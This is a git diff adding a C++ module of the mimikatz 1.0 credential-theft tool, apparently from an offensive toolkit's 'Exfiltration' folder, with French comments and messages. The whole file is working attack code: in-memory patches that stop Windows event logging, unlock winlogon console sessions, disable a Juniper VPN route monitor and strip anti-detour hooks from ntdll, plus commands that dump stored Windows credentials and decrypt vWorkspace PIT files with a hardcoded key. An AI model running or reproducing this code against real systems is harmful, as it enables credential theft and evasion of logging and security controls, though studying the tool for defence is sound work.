diff options
Diffstat (limited to 'Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp')
| -rw-r--r-- | Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp | 306 |
1 files changed, 306 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp new file mode 100644 index 0000000..019644d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_divers.cpp @@ -0,0 +1,306 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_divers.h" + +vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_divers::getMimiKatzCommands() +{ + vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)")); + return monVector; +} + +bool mod_mimikatz_divers::nodetour(vector<wstring> * arguments) +{ + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_2003_____x64); + mesOS.push_back(mod_patch::WINDOWS_VISTA____x64); + mesOS.push_back(mod_patch::WINDOWS_2008_____x64); + mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64); + mesOS.push_back(mod_patch::WINDOWS_2008r2___x64); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3}; + BYTE monDetouredStub[] = {0x90, 0x90, 0xe9}; + + PBYTE monNTDLLptr = reinterpret_cast<PBYTE>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess")); + if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0) + { + (*outputStream) << L"Détour trouvé et "; + if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast<PLONG>(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn))) + (*outputStream) << L"patché :)"; + else + (*outputStream) << L"NON patché :("; + (*outputStream) << endl; + } + else + (*outputStream) << L"Détour non trouvé" << endl; + } + return true; +} + + +bool mod_mimikatz_divers::cancelator(vector<wstring> * arguments) +{ + vector<mod_patch::OS> mesOS; + mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86); + mesOS.push_back(mod_patch::WINDOWS_2003_____x86); + + if(mod_patch::checkVersion(&mesOS)) + { + BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84}; + BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}; + long offsetCibleNOP = 3; + + vector<mod_process::KIWI_PROCESSENTRY32> * mesProcesses = new vector<mod_process::KIWI_PROCESSENTRY32>(); + wstring processName = L"winlogon.exe"; + + if(mod_process::getList(mesProcesses, &processName)) + { + for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++) + { + mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP); + } + } + + delete mesProcesses; + } + return true; +} + + +bool mod_mimikatz_divers::noroutemon(vector<wstring> * arguments) +{ + //BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9 + BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9 + BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00}; + + mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon)); + return true; +} + +bool mod_mimikatz_divers::eventdrop(vector<wstring> * arguments) +{ + wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll"; + wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll"; +#ifdef _M_X64 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18}; + LONG OFFS_WNT5_PerformWriteRequest = -10; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8}; + LONG OFFS_WN62_Channel__ActualProcessEvent = 0; + + BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3}; +#elif defined _M_IX86 + BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d}; + LONG OFFS_WNT5_PerformWriteRequest = -20; + BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00}; + + BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN60_Channel__ActualProcessEvent = 0; + BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8}; + LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2); + BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c}; + LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2); + + BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00}; + BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00}; +#endif + + BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0; + BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0; + LONG OFFS_PATC_Process = 0; + wstring libEvent; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + libEvent.assign(LIBNAME_WNT5_EVTLOG); + PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest); + PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest); + OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest; + } + else + { + libEvent.assign(LIBNAME_WNT6_EVTLOG); + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent; +#ifdef _M_X64 + } +#elif defined _M_IX86 + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } + else if(mod_system::GLOB_Version.dwMinorVersion < 2) + { + PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent; + PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent); + } +#endif + else + { + PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent); + OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent; +#ifdef _M_IX86 + PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent); +#endif + } + +#ifdef _M_X64 + PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent); +#endif + } + + mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process); + + return true; +} + +bool mod_mimikatz_divers::secrets(vector<wstring> * arguments) +{ + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS); + + if(CredEnumerate(NULL, flags, &credNb, &pCredential)) + { + (*outputStream) << L"Nombre de secrets : " << credNb << endl; + + for(DWORD i = 0; i < credNb; i++) + { + wstring type; + bool isCertificate = false; + switch(pCredential[i]->Type) + { + case CRED_TYPE_GENERIC: + type.assign(L"GENERIC"); + break; + case CRED_TYPE_DOMAIN_PASSWORD: + type.assign(L"DOMAIN_PASSWORD"); + break; + case CRED_TYPE_DOMAIN_CERTIFICATE: + type.assign(L"DOMAIN_CERTIFICATE"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: + type.assign(L"DOMAIN_VISIBLE_PASSWORD"); + break; + case CRED_TYPE_GENERIC_CERTIFICATE: + type.assign(L"GENERIC_CERTIFICAT"); + isCertificate = true; + break; + case CRED_TYPE_DOMAIN_EXTENDED: + type.assign(L"DOMAIN_EXTENDED"); + break; + default: + type.assign(L"?"); + } + + (*outputStream) << + L"TargetName : " << (pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>") << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl << + L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl << + L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl << + L"UserName : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl << + L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl << + endl; + } + CredFree(pCredential); + } + else (*outputStream) << L"CredEnumerate : " << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_divers::pitme(vector<wstring> * arguments) +{ + static const BYTE HARDCODED_KEY[] = { + 0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f, + 0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb, + 0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39, + 0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f, + 0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81, + 0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5, + 0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10, + 0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b, + 0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e, + 0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d, + 0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2, + 0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea, + 0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4, + 0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7, + 0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d, + 0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e + }; + static const DWORD SUBKEY_SIZE = 16; + static const BYTE HEADER_PIT[] = {'P', 'I', 'T'}; + + FILE * monFichierSource, * monFichierDestination; + BYTE * monBuffer, * monBufferData; + ULONG tailleFichierSource, tailleData; + + if(arguments->size() < 1) + { + (*outputStream) << L"divers:::pitme file.pit [file.rdp]" << endl; + } + else + { + (*outputStream) << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : "; + if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb")) + { + fseek(monFichierSource, 0, SEEK_END); + tailleFichierSource = ftell(monFichierSource); + monBuffer = new BYTE[tailleFichierSource]; + fseek(monFichierSource, 0, SEEK_SET); + fread(monBuffer, tailleFichierSource, 1, monFichierSource); + fclose(monFichierSource); + + (*outputStream) << L"OK" << endl << L" * Déchiffrement n°1 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * Déchiffrement n°2 : "; + if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4)) + { + (*outputStream) << L"OK" << endl << L" * En-tête : "; + if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0) + { + (*outputStream) << L"OK" << endl; + monBufferData = monBuffer + sizeof(HEADER_PIT); + tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE; + + if(arguments->size() > 1) + { + (*outputStream) << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : "; + if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb")) + { + (*outputStream) << L"OK" << endl; + fwrite(monBufferData, tailleData, 1, monFichierDestination); + fclose(monFichierDestination); + } + else (*outputStream) << L"KO" << endl; + } + else (*outputStream) << L" * Données : " << endl << endl << wstring(reinterpret_cast<char *>(monBufferData), reinterpret_cast<char *>(monBufferData + tailleData)) << endl; + } + else (*outputStream) << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl; + } + else (*outputStream) << L"KO"; + } + else (*outputStream) << L"KO"; + delete [] monBuffer; + } + else (*outputStream) << L"KO" << endl; + } + return true; +}
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